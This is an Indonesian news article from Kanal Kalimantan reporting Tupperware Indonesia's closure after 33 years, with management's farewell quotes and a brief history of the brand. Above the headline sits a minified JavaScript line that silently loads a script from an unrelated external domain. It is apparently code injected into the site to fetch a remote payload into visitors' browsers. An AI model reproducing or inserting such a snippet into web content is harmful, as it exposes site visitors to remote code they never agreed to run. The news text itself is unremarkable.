(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tupperware Pamit Setelah 33 Tahun Hadir di Indonesia


KANALKALIMANTAN.COM – Produsen peralatan makan dan minum berbahan plastik, Tuppeware resmi menutup bisnisnya di Indonesia. Hal ini setelah, induk usaha Tupperware Brands Corporation telah memutuskan untuk menghentikan aktivitasnya di sebagian besar negara, termasuk Indonesia.

Penutupan bisnis ini diumumkan manajemen di Instagram resminya @tupperwareid. Untuk diketahui, Tupperware telah berbisnis di Indonesia selama 33 tahun.

“33 tahun bukanlah waktu yang singkat. Dalam kurun waktu itu, Tupperware telah menjadi bagian dari dapur, meja makan, dan momen berharga keluarga Indonesia,” tulis manajemen seperti dikutip Senin (14/4/2025).

“Dari bekal si kecil hingga hantaran penuh cinta, kami bangga telah menemani perjalanan Anda dengan produk yang dirancang untuk menginspirasi gaya hidup sehat, praktis, dan modern. Terima kasih atas kepercayaan dan dukungan yang telah Anda berikan selama ini,” sambung manajemen.

Baca juga: Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

Manejemen menyebut, sebetulnya Tupperware Indonesia telah resmi hentikan bisnis sejak 31 Januari. Manajemen menegaskan langkah ini mengikuti induk usaha.

“Perjalanan luar biasa kami bersama keluarga Indonesia kini tiba di penghujung jalan. Dengan berat hati, kami mengumumkan bahwa Tupperware Indonesia secara resmi telah menghentikan operasional bisnisnya sejak 31 Januari 2025. Keputusan ini adalah bagian dari langkah global perusahaan,” tulis manajemen.

Manajemen merasa, selama 33 tahun banyak cerita dari pelanggan yang menggunakan Tupperware untuk kegiatan sehari-hari.

“Kami mengucapkan terima kasih yang sebesar-besarnya kepada segenap Executive Director, Sales Force dan Masyarakat/Konsumen yang telah menjadi bagian penting Tupperware, atas kepercayaan, dukungan, dan kenangan indah yang telah diberikan dan dibagikan bersama Tupperware Indonesia,” tulis manajemen.

Baca juga: Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

 

Sejarah Tupperware

Tupperware Indonesia telah resmi hentikan bisnis sejak 31 Januari. Foto: euronews

Tupperware diperkenal pertama kali tahun 1946 oleh seorang ahli Kimia di Amrika Serikat yang bernama Earl Tupper. Tupper menciptakan tempat untuk menyimpan makanan yang terbuat dari plastik dengan menggunakan penutup inovatif agar makanan tetap segar.

Tempat makanan ini cenderung ringan dan tahan lama sehingga Tupperware ini jadi tempat penyimpanan makanan ideal di rumah.Adapun yang jadi ciri khas Tupperware ini ada pada bagian penutupnya yang burping seal.

Penutup makanan yang berpuring seal sangat berguna karena membantu menjaga kualitas makanan agar tetap segar dan lebih lama. Itulah mengapa Tupperware ini sangat digemari para ibu-ibu karena memang bagus kualitasnya.

Baca juga: Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

Di awal-awal perilisannya, Tupperware ini mulanya belum banyak dapat perhatian publik, khususnya di toko-toko ritel. Pasalnya pada waktu itu inovasi Tupperware ini masih belum sepenuhnya dipahami oleh konsumen.

Namun seiring berjalannya waktu, keberadaan Tupperware pun mulai menarik perhatian publik. Hal ini bermula saat seorang pengusaha wanita yang diketahui bernama Brownie Wise gabung di perusahaan tersebut pada tahun 1951.

Brownie Wise  berhasil mempromosikan dengan konsep Tupperware Party, yakni sebuah strategi penjualan atau pemasaran yang langsung melibatkan ibu-ibu dalam program sosialisasi cara penggunaan produk.

Sejak saat itu, Tupperware pun mulai diminati banyak orang sehinga menjadikan Tupperware sebagai fenomena global. Pada 1950-1980-an, Tupperware semakin populer. Tupperware pun jadi simbol gaya hidup modern.

Baca juga: Modus Sewa Motor di Banjarbaru, Sigit ‘Larikan’ Yamaha NMAX hingga Sampit

Di Indonesia, popularitas Tupperware juga dibilang sangat tinggi. Lalu tahun 1990-an sampai awal 2000-an, merek Tupperware ini pun hampir dikenal dan dimiliki setiap rumah tangga. Selain karena tahan lama, Tupperware juga memiliki desain menarik dan berkualitas.

Namun setelah 78 tahun dibanggakan para ibu-ibu, Tupperware dikabarkan tengah berada diambang kebangkrutan. Adapun penyebab Tupperware bangkrut yaitu keuangan perusahaan yang akhir-akhir ini sedang bermasalah. (Kanalkalimantan/Suara.com)

Editor: kk


Risa

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

5 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

7 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

7 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

8 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

8 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

9 jam ago